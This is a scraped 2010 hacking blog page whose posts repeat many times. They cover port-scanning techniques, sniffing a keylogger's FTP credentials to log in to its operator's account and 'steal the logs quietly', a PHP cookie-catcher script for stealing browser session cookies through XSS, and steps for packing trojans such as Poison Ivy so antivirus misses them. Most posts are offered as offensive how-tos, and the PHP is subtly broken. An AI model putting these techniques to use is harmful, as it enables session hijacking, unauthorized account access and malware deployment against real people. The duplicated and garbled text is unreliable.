///////////////////////////////////////////
Know More about Network Hacking (Port Scanning)
System administrators are constantly being advised to check their systems
for open ports and services that might be running that are either
unintended or unnecessary. In some cases, the services might be Trojans
just waiting to be exploited.
Port Scanning: Port scanning is carried out to determine a list of open
ports on the remote host that have certain services or daemons running. In
port scanning, the attacker connects to various TCP and UDP ports and tries
to determine which ports are in listening mode.
1. TCP Ports Scanning: Almost all port scans are based on the client
sending a packet containing a particular flag to the target port of the
remote system to determine whether the port is open. Following table lists
the type of flags a TCP packet header can contain.
A typical TCP/IP three way handshake can be described as follows:
The client sends a SYN packet to the server.The server replies with a SYN
packet and acknowledges the client's SYN packet by sending an ACK
packet.The client acknowledges the SYN sent by the server.
Different techniques of TCP port scanning are:
TCP connect port scanningTCP SYN scanning (half open scanning)SYN/ACK
scanningTCP FIN scanningTCP NULL scanningTCP Xmas tree scanning
2. UDP Ports Scanning: In UDP port scanning, aUDP packet is sent to each
port on the target host one by one.
If the remote port is closed, then the server replies with a Port
Unreachable ICMP error message. If the port is open then no such error
message is generated.
3. FTP Bounce Port Scanning: The FTP bounce port scanning technique was
discovered by Hobbit. He revealed a very interesting loophole in the FTP
protocol that allowed users connected to the FTP service of a particular
system to connect to any port of another system. This loophole allows
anonymous port scanning.
Showing posts with label Hack. Show all posts
Showing posts with label Hack. Show all posts
Wednesday, October 6, 2010
"KNOW MORE ABOUT NETWORK HACKINGS"
///////////////////////////////////////////
Know More about Network Hacking (Port Scanning)
System administrators are constantly being advised to check their systems
for open ports and services that might be running that are either
unintended or unnecessary. In some cases, the services might be Trojans
just waiting to be exploited.
Port Scanning: Port scanning is carried out to determine a list of open
ports on the remote host that have certain services or daemons running. In
port scanning, the attacker connects to various TCP and UDP ports and tries
to determine which ports are in listening mode.
1. TCP Ports Scanning: Almost all port scans are based on the client
sending a packet containing a particular flag to the target port of the
remote system to determine whether the port is open. Following table lists
the type of flags a TCP packet header can contain.
A typical TCP/IP three way handshake can be described as follows:
The client sends a SYN packet to the server.The server replies with a SYN
packet and acknowledges the client's SYN packet by sending an ACK
packet.The client acknowledges the SYN sent by the server.
Different techniques of TCP port scanning are:
TCP connect port scanningTCP SYN scanning (half open scanning)SYN/ACK
scanningTCP FIN scanningTCP NULL scanningTCP Xmas tree scanning
2. UDP Ports Scanning: In UDP port scanning, aUDP packet is sent to each
port on the target host one by one.
If the remote port is closed, then the server replies with a Port
Unreachable ICMP error message. If the port is open then no such error
message is generated.
3. FTP Bounce Port Scanning: The FTP bounce port scanning technique was
discovered by Hobbit. He revealed a very interesting loophole in the FTP
protocol that allowed users connected to the FTP service of a particular
system to connect to any port of another system. This loophole allows
anonymous port scanning.
Know More about Network Hacking (Port Scanning)
System administrators are constantly being advised to check their systems
for open ports and services that might be running that are either
unintended or unnecessary. In some cases, the services might be Trojans
just waiting to be exploited.
Port Scanning: Port scanning is carried out to determine a list of open
ports on the remote host that have certain services or daemons running. In
port scanning, the attacker connects to various TCP and UDP ports and tries
to determine which ports are in listening mode.
1. TCP Ports Scanning: Almost all port scans are based on the client
sending a packet containing a particular flag to the target port of the
remote system to determine whether the port is open. Following table lists
the type of flags a TCP packet header can contain.
A typical TCP/IP three way handshake can be described as follows:
The client sends a SYN packet to the server.The server replies with a SYN
packet and acknowledges the client's SYN packet by sending an ACK
packet.The client acknowledges the SYN sent by the server.
Different techniques of TCP port scanning are:
TCP connect port scanningTCP SYN scanning (half open scanning)SYN/ACK
scanningTCP FIN scanningTCP NULL scanningTCP Xmas tree scanning
2. UDP Ports Scanning: In UDP port scanning, aUDP packet is sent to each
port on the target host one by one.
If the remote port is closed, then the server replies with a Port
Unreachable ICMP error message. If the port is open then no such error
message is generated.
3. FTP Bounce Port Scanning: The FTP bounce port scanning technique was
discovered by Hobbit. He revealed a very interesting loophole in the FTP
protocol that allowed users connected to the FTP service of a particular
system to connect to any port of another system. This loophole allows
anonymous port scanning.
"OWN HACK"
///////////////////////////////////////////
How to Own a Hacker - Reverting Keyloggers and Stealers
How to know if you are
infected with RATs or Keyloggers. Here i will show you how to revert those
keyloggers, RATs, or stealers, and find who sent them to you.
What is Reverting?
Reverting generally means reversing an action or undoing the changes. Here
in our case, reverting would be more of reversing the action.
For this we will need a keylogger server using ftp. It can be found on
warez sites, youtube etc. You basically need the following things:
Keylogger, passstealerCain and AbelVirtual machine (so you don't get
infected, and what if the hacker is using better protocol that would be
epic fail).
Getting Started:
Execute the keylogger on your virtual machine.
Now run Cain and Abel and do the following things as per stated order.
Wait for sometime and then check back the passwords area.
As you can see the keylogger used ftp protocol to transfer the logs. Ftp
protocol isn't very safe since it doesn't encrypt the data. Anyways you
should see the IP address where your PC is sending packets. And also the
username and password. This might not work if the server is using other
protocol like http, smtp, etc. you'll most probably get junk values in user
and pass box if those protocols are used.
So i open the ipaddress http://66.220.9.50/
Guess what its our very own drivehq.com =D. Now login using ftp password
that we got from the sniffer and get going. I would recommend to steal the
logs quietly like a ninja, so you can get others logs as well. Of course
you can change the pass if you want but it won't send any further logs.
How to Own a Hacker - Reverting Keyloggers and Stealers
How to know if you are
infected with RATs or Keyloggers. Here i will show you how to revert those
keyloggers, RATs, or stealers, and find who sent them to you.
What is Reverting?
Reverting generally means reversing an action or undoing the changes. Here
in our case, reverting would be more of reversing the action.
For this we will need a keylogger server using ftp. It can be found on
warez sites, youtube etc. You basically need the following things:
Keylogger, passstealerCain and AbelVirtual machine (so you don't get
infected, and what if the hacker is using better protocol that would be
epic fail).
Getting Started:
Execute the keylogger on your virtual machine.
Now run Cain and Abel and do the following things as per stated order.
Wait for sometime and then check back the passwords area.
As you can see the keylogger used ftp protocol to transfer the logs. Ftp
protocol isn't very safe since it doesn't encrypt the data. Anyways you
should see the IP address where your PC is sending packets. And also the
username and password. This might not work if the server is using other
protocol like http, smtp, etc. you'll most probably get junk values in user
and pass box if those protocols are used.
So i open the ipaddress http://66.220.9.50/
Guess what its our very own drivehq.com =D. Now login using ftp password
that we got from the sniffer and get going. I would recommend to steal the
logs quietly like a ninja, so you can get others logs as well. Of course
you can change the pass if you want but it won't send any further logs.
"OWN HACK"
///////////////////////////////////////////
How to Own a Hacker - Reverting Keyloggers and Stealers
How to know if you are
infected with RATs or Keyloggers. Here i will show you how to revert those
keyloggers, RATs, or stealers, and find who sent them to you.
What is Reverting?
Reverting generally means reversing an action or undoing the changes. Here
in our case, reverting would be more of reversing the action.
For this we will need a keylogger server using ftp. It can be found on
warez sites, youtube etc. You basically need the following things:
Keylogger, passstealerCain and AbelVirtual machine (so you don't get
infected, and what if the hacker is using better protocol that would be
epic fail).
Getting Started:
Execute the keylogger on your virtual machine.
Now run Cain and Abel and do the following things as per stated order.
Wait for sometime and then check back the passwords area.
As you can see the keylogger used ftp protocol to transfer the logs. Ftp
protocol isn't very safe since it doesn't encrypt the data. Anyways you
should see the IP address where your PC is sending packets. And also the
username and password. This might not work if the server is using other
protocol like http, smtp, etc. you'll most probably get junk values in user
and pass box if those protocols are used.
So i open the ipaddress http://66.220.9.50/
Guess what its our very own drivehq.com =D. Now login using ftp password
that we got from the sniffer and get going. I would recommend to steal the
logs quietly like a ninja, so you can get others logs as well. Of course
you can change the pass if you want but it won't send any further logs.
How to Own a Hacker - Reverting Keyloggers and Stealers
How to know if you are
infected with RATs or Keyloggers. Here i will show you how to revert those
keyloggers, RATs, or stealers, and find who sent them to you.
What is Reverting?
Reverting generally means reversing an action or undoing the changes. Here
in our case, reverting would be more of reversing the action.
For this we will need a keylogger server using ftp. It can be found on
warez sites, youtube etc. You basically need the following things:
Keylogger, passstealerCain and AbelVirtual machine (so you don't get
infected, and what if the hacker is using better protocol that would be
epic fail).
Getting Started:
Execute the keylogger on your virtual machine.
Now run Cain and Abel and do the following things as per stated order.
Wait for sometime and then check back the passwords area.
As you can see the keylogger used ftp protocol to transfer the logs. Ftp
protocol isn't very safe since it doesn't encrypt the data. Anyways you
should see the IP address where your PC is sending packets. And also the
username and password. This might not work if the server is using other
protocol like http, smtp, etc. you'll most probably get junk values in user
and pass box if those protocols are used.
So i open the ipaddress http://66.220.9.50/
Guess what its our very own drivehq.com =D. Now login using ftp password
that we got from the sniffer and get going. I would recommend to steal the
logs quietly like a ninja, so you can get others logs as well. Of course
you can change the pass if you want but it won't send any further logs.
Tuesday, October 5, 2010
"COOKIE CATCHER"
///////////////////////////////////////////
Learn How to Make a Cookie Catcher
In this post i am going to show you how to make a cookie catcher. Before we
start let see what are cookies and what is cookie catcher used for.
What is a cookie?
A cookie is a special thing used store information on a web browser such as
user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is an XSS (cross-site scripting) exploitation that allows
you to take someone's cookies (log-in info). It keeps a record of them, and
the person can log-in as you using your cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link that contains the cookie catcher.
How to make a Cookie Catcher
OkaY so now we are going to get down to the cookie catcher.
First you need a webserver which supports php.
Now that you have that we can begin.
Here is the cookie catcher:
PHP Code:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header ("javascript:history.back()");
?>
Now lets break that piece of code down, so that everyone can understand the working of code easily...
tells the server that this piece of code up to the
?>is php code.
$cookie = $_GET['cookie'];This gets the cookie from the web browser using
php's GET statement
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);
$referer=$_SERVER['HTTP_REFERER'];REMOTE_ADDR is the user's IP
date is well the date the cookie was taken
HTTP_REFERER is the site the user came from
$fp = fopen('cookies.html' 'a');
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
’);
fclose($fp);This piece of code does a couple of things. First is opens a
file called cookies.html on the server. Then it writes the cookie info to
the file (Cookie it's self, date, and website the person came from). After
that it adds three returns (). Next it closes the file cookies.html
header ("javascript:history.back()");
This last piece of code sends the user back to the last page they were on
before they clicked on the link
?>This like I said earlier in case you don't remember ends the php
script.There that is it! You've made your very own cookie catcher for
stealing cookies from people's browsers!
An example of this script in action is: Just upload the script on a free
hosting like - http://abc.com/cookie.php
Regards kid
Learn How to Make a Cookie Catcher
In this post i am going to show you how to make a cookie catcher. Before we
start let see what are cookies and what is cookie catcher used for.
What is a cookie?
A cookie is a special thing used store information on a web browser such as
user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is an XSS (cross-site scripting) exploitation that allows
you to take someone's cookies (log-in info). It keeps a record of them, and
the person can log-in as you using your cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link that contains the cookie catcher.
How to make a Cookie Catcher
OkaY so now we are going to get down to the cookie catcher.
First you need a webserver which supports php.
Now that you have that we can begin.
Here is the cookie catcher:
PHP Code:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header ("javascript:history.back()");
?>
Now lets break that piece of code down, so that everyone can understand the working of code easily...
tells the server that this piece of code up to the
?>is php code.
$cookie = $_GET['cookie'];This gets the cookie from the web browser using
php's GET statement
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);
$referer=$_SERVER['HTTP_REFERER'];REMOTE_ADDR is the user's IP
date is well the date the cookie was taken
HTTP_REFERER is the site the user came from
$fp = fopen('cookies.html' 'a');
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
’);
fclose($fp);This piece of code does a couple of things. First is opens a
file called cookies.html on the server. Then it writes the cookie info to
the file (Cookie it's self, date, and website the person came from). After
that it adds three returns (). Next it closes the file cookies.html
header ("javascript:history.back()");
This last piece of code sends the user back to the last page they were on
before they clicked on the link
?>This like I said earlier in case you don't remember ends the php
script.There that is it! You've made your very own cookie catcher for
stealing cookies from people's browsers!
An example of this script in action is: Just upload the script on a free
hosting like - http://abc.com/cookie.php
Regards kid
"COOKIE CATCHER"
///////////////////////////////////////////
Learn How to Make a Cookie Catcher
In this post i am going to show you how to make a cookie catcher. Before we
start let see what are cookies and what is cookie catcher used for.
What is a cookie?
A cookie is a special thing used store information on a web browser such as
user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is an XSS (cross-site scripting) exploitation that allows
you to take someone's cookies (log-in info). It keeps a record of them, and
the person can log-in as you using your cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link that contains the cookie catcher.
How to make a Cookie Catcher
OkaY so now we are going to get down to the cookie catcher.
First you need a webserver which supports php.
Now that you have that we can begin.
Here is the cookie catcher:
PHP Code:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header ("javascript:history.back()");
?>
Now lets break that piece of code down, so that everyone can understand the working of code easily...
tells the server that this piece of code up to the
?>is php code.
$cookie = $_GET['cookie'];This gets the cookie from the web browser using
php's GET statement
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);
$referer=$_SERVER['HTTP_REFERER'];REMOTE_ADDR is the user's IP
date is well the date the cookie was taken
HTTP_REFERER is the site the user came from
$fp = fopen('cookies.html' 'a');
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
’);
fclose($fp);This piece of code does a couple of things. First is opens a
file called cookies.html on the server. Then it writes the cookie info to
the file (Cookie it's self, date, and website the person came from). After
that it adds three returns (). Next it closes the file cookies.html
header ("javascript:history.back()");
This last piece of code sends the user back to the last page they were on
before they clicked on the link
?>This like I said earlier in case you don't remember ends the php
script.There that is it! You've made your very own cookie catcher for
stealing cookies from people's browsers!
An example of this script in action is: Just upload the script on a free
hosting like - http://abc.com/cookie.php
Regards kid
Learn How to Make a Cookie Catcher
In this post i am going to show you how to make a cookie catcher. Before we
start let see what are cookies and what is cookie catcher used for.
What is a cookie?
A cookie is a special thing used store information on a web browser such as
user logins, passwords, etc.
What is a cookie catcher?
A cookie catcher is an XSS (cross-site scripting) exploitation that allows
you to take someone's cookies (log-in info). It keeps a record of them, and
the person can log-in as you using your cookies.
Is making a cookie catcher hard?
Not at all. The hard part is getting someone to click on a link that contains the cookie catcher.
How to make a Cookie Catcher
OkaY so now we are going to get down to the cookie catcher.
First you need a webserver which supports php.
Now that you have that we can begin.
Here is the cookie catcher:
PHP Code:
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header ("javascript:history.back()");
?>
Now lets break that piece of code down, so that everyone can understand the working of code easily...
tells the server that this piece of code up to the
?>is php code.
$cookie = $_GET['cookie'];This gets the cookie from the web browser using
php's GET statement
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);
$referer=$_SERVER['HTTP_REFERER'];REMOTE_ADDR is the user's IP
date is well the date the cookie was taken
HTTP_REFERER is the site the user came from
$fp = fopen('cookies.html' 'a');
fwrite($fp, ‘Cookie: ‘.$cookie.’
IP: ‘ .$ip. ‘
Date and Time: ‘ .$date. ‘
Website: ‘.$referer.’
’);
fclose($fp);This piece of code does a couple of things. First is opens a
file called cookies.html on the server. Then it writes the cookie info to
the file (Cookie it's self, date, and website the person came from). After
that it adds three returns (). Next it closes the file cookies.html
header ("javascript:history.back()");
This last piece of code sends the user back to the last page they were on
before they clicked on the link
?>This like I said earlier in case you don't remember ends the php
script.There that is it! You've made your very own cookie catcher for
stealing cookies from people's browsers!
An example of this script in action is: Just upload the script on a free
hosting like - http://abc.com/cookie.php
Regards kid
"UNDETECTABLE TROJAN"
///////////////////////////////////////////
How to Make a Trojan Undetectable by Antivirus Software
I've been writing a lot about trojans, and keyloggers on this blog. It's
very simple to make a trojan/keylogger, but to make it undetectable by the
antiviruses is the hard part. Nowadays crypting trojan don't give a good
result if you use use a public crypter, otherwise you need to buy a private
edition or to hex it. Here i am going to show you how to make a trojan,
keylogger, or RAT that won't be detected by any anti-virus software.
We gonna need a Privacy Protection Software. This kind of software is used
by program creators to protect their creation from cracking and reverse
engineering. We gonna do the same to a trojan and you are going to see the
result.
1. First of all you need to download the program: PC Guard for Win32
2. Open the program, and in the "Application filename" browse your server's
location.
2. Click on the "General" tab.
3. Now do the same with the "Security & Encryption" tab.
4. At the end choose "Protection Methods", and select the following options:
We are done!
The Scan Results:
Poison Ivy server:
Bifrost server:
How to Make a Trojan Undetectable by Antivirus Software
I've been writing a lot about trojans, and keyloggers on this blog. It's
very simple to make a trojan/keylogger, but to make it undetectable by the
antiviruses is the hard part. Nowadays crypting trojan don't give a good
result if you use use a public crypter, otherwise you need to buy a private
edition or to hex it. Here i am going to show you how to make a trojan,
keylogger, or RAT that won't be detected by any anti-virus software.
We gonna need a Privacy Protection Software. This kind of software is used
by program creators to protect their creation from cracking and reverse
engineering. We gonna do the same to a trojan and you are going to see the
result.
1. First of all you need to download the program: PC Guard for Win32
2. Open the program, and in the "Application filename" browse your server's
location.
2. Click on the "General" tab.
3. Now do the same with the "Security & Encryption" tab.
4. At the end choose "Protection Methods", and select the following options:
We are done!
The Scan Results:
Poison Ivy server:
Bifrost server:
Subscribe to:
Posts (Atom)